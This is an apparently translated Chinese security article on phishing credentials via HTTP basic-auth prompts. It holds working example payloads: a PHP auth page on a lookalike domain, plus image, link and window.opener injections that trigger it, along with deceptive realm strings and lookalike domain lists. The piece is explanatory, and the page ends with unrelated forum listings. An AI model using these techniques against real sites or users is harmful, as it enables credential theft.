在此之前,我们曾给大家介绍过一款名叫Responder的工具,当用户在Web浏览器中输入了无效的域名地址之后,这款工具将可以利用基础认证弹窗来收集目标用户的凭证信息。Responder所使用的方法非常好,它不仅可以捕获到很多有意思的数据,而且还可以响应现存域名的DNS请求,但是我认为将基础认证用于网络钓鱼网站也许会更加有效果。
我觉得基础认证的一个非常吸引我的特点就是用户永远不知道是谁在要求他们输入凭证,而这种特性通常会使用户一不小心就落入了钓鱼网站的陷阱之中。
广大用户可以根据以下两个安全因素来判断一次基础认证请求是否存在问题:
1. 请求认证的IP地址或域名。但这种方法一般无法帮助到普通用户,因为攻击者可以注册一个看起来受信任的域名。比如说,如果攻击者的目标是targetdomain.com,那么他就可以注册如下的类似地址:
targetdomain.co / .net
target-domain.com
targetdomain-oauth.com
targetdomain-cdn.com
targetdomain-images.com
login-targetdomain.com
2. 认证参数“Realm”。不过,这个字符串参数仍然可以由攻击者任意提供。根据情况的不同,以下几种简单的提示信息将有可能欺骗用户相信弹出的基础认证窗口是合法的:
a) “需要进行网络代理认证”
b) “由于您长时间未操作,账号已登出,请您重新登录”
说了这么多理论之后,接下来我们一起看几个例子,看看攻击者如何利用基础认证提示来欺骗用户。假设targetdomain.com是一个合法网站,而攻击者注册并控制着一个域名为target-domain.com的网站,而这个网站将有可能欺骗到某些用户。
如果攻击者可以向一个网站中注入IMG标签,并从一个攻击者可控制的域名引用图片资源的话,那么攻击者就可以在图片被加载之前触发基础认证提示。下面是一个简单的例子:
targetdomain.com/image.html-这个页面中包含一张来自第三方网站target-domain.com的图片:
<html>
<bo>
Just a funny cat image
<img src="http://target-domain.com/basicauth.php"alt="Could not load image - Invalid credentils."/>
</bo>
</html>
target-domain.com/basicauth.php-这是一个第三方页面,当用户访问该页面之后,它将要求用户完成基础认证过程:
<?php $valid_passwords = array("security" => "cafe");
$valid_users =array_keys($valid_passwords);
$user = isset($_SERVER['PHP_AUTH_USER']) ?$_SERVER['PHP_AUTH_USER'] : "";
$pass = isset($_SERVER['PHP_AUTH_PW']) ? $_SERVER['PHP_AUTH_PW'] : "";
$validated = (in_array($user,$valid_users)) && ($pass == $valid_passwords[$user]);
if (!$validated) {
header('WWW-Authenticate: Basic realm="Corporate domain"');
//header('HTTP/1.0 401 Unauthorized');
die("Not authorized");
}
// If the user enters valid credentials,just show him a cat picture
header("Location:https://kpmgsecurity.files.wordpress.com/2017/06/cat.jpg")
?>
此时,这个托管在第三方网站上的图片将会生成基础认证提示。毫无疑问,任何在这个窗口中输入的凭证信息最终都将发送到那个由攻击者所控制的第三方网站。
注:这种方法适用于Firefox和IE浏览器,Chrome并不会弹出基础认证窗口。
如果攻击者可以向网站中添加HTML锚点,并添加一个指向第三方网站的链接,那么他就能够在第三方网站添加基础认证功能,当用户访问这个URL之后,将会被要求完成基础认证过程。
targetdomain.com/link.html-该页面包含一个指向第三方网站的链接:
<html>
<bo>
A cool website you should visit: <ahref="http://target-domain.com/basicauth.php">Click me!</a>
</bo>
</html>
当新的URL被加载之前,页面将会弹出一个基础认证提示,此时托管页面和URL仍然会显示给用户。
注:这种情况会出现在Firefox和IE中,Chrome在显示基础认证提示之前既不会显示托管页面,也不会更新地址栏。
如果跳转发生在新的标签页,那么攻击者就可以利用window.opener在原始标签页中触发基础认证提示。
targetdomain.com/newtab.html-该页面中包含一条会在新标签页中打开的链接:
<html>
<bo>
Another cool website you should visit:<a href="http://target-domain.com/landingpage.html"target="_blank">Click me!</a>
</bo>
</html>
target-domain.com/landingpage.html-该页面会将opener重定向至一个要求进行基础认证的URL:
<html>
<head>
<title>Nothing here</title>
</head>
<bo>
<script>
window.opener.location="http://target-domain.com/basicauth.php";
</script>
</bo>
</html>
此时,负责加载新URL的标签页中将会弹出基础认证提示,此时的托管页面和URL仍然会显示给用户。
注:跟刚才一样,这种情况会出现在Firefox和IE中,Chrome在显示基础认证提示之前既不会显示托管页面,也不会更新地址栏。
实际上,如果Word文档中所包含的模板引用了来自第三方网站的图片,那么我们还可以在Word文档中触发基础认证提示,这就得感谢微软了。攻击者可以通过电子邮件或公共网站将这种Word文档发送给目标用户,而且他们还可以使用Phishery【下载地址】来自动化生成这种类型的Word文档。
本文给出的这些例子都可以通过基础认证提示来欺骗用户输入自己的凭证信息,而且现实的攻击场景中也会出现这样的情况。博客、论坛、工作平台和网上学习社区等地方都允许用户添加自定义的内容,例如图片和链接等等,而且任何一个带有文本编辑器(支持代码格式)的网站都有可能遇到这种类型的钓鱼攻击:
<img>http://target-domain.com/basicauth.php</img>
[a]http://target-domain.com/basicauth.php[/a]
http://target-domain.com/basicauth.php
……
* 参考来源:securitycafe, FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM
评论时间:2023-03-03 18:25:02
16.不要过度劳累17.不要滥用药物18.保持良好的心态19.按时利用虚拟主机攻击网站 吃饭20.不喝酒21.不吸烟22.不熬夜23.少吃多餐服务器租用价格及图片 23.少吃多餐
2023-12-25 22:44:35 admin
活动发布区版规2023-05-27 22:03:52 御风而行
容器、无服务器、虚拟机:安全性差...2023-05-27 20:43:39 1356
服务器宕机的造成原因和解决方法介...2023-05-27 20:43:25 qingym
别糊涂了!服务器与工作站的五大区...2023-05-27 19:08:41 小绵羊0123
科技巨头布局云端 服务器 网络硬...2023-05-27 18:17:46 姐姐的跟屁虫
钉钉因系统访问流量激增,宕机1小...2022-07-23 00:34:02 freeatom
常见ftp命令 FTP命令使用详...2022-07-21 02:17:02 ares
双硬盘组建Raid0磁盘阵列图文...2022-07-20 06:17:02 mankeung123
用友软件客户端连接不上服务器的解...2022-07-23 00:51:02 antonfxb
WebService实例2022-07-13 05:38:02 苯小孩
开发、运维不可不看的Linux调...2022-07-20 18:51:02 nightstone
如何使用Charles抓取Web...2022-02-05 05:38:02 中原一点红
基于域名的虚拟主机配置的两种方法2022-02-06 05:38:03 justbeef
FTP服务器的配置2022-03-14 05:38:03 netstu86
Nginx如何限制流量2022-04-08 05:38:03 xc777
Windows Server 2...2022-07-19 02:00:05 zldxgz8888
智慧医疗是什么,未来智慧医疗的新...2022-07-19 03:00:05 windpop
【最新】这里有几个ccleane...2022-07-19 20:17:02 dengyu0429
linux vi使用及详细介绍2022-07-20 01:00:05 激动的舌头
Linux视频教程:用户管理命令...2022-07-21 20:51:02 jessica-an
创建本地FTP站点2022-02-07 05:38:03 jasonkidd
WEB服务器配置详解2022-07-20 04:51:02 wolfssss
ACL权限-默认与递归(4)2022-07-22 15:00:05 淡水珊瑚
Linux下 Samba Ser...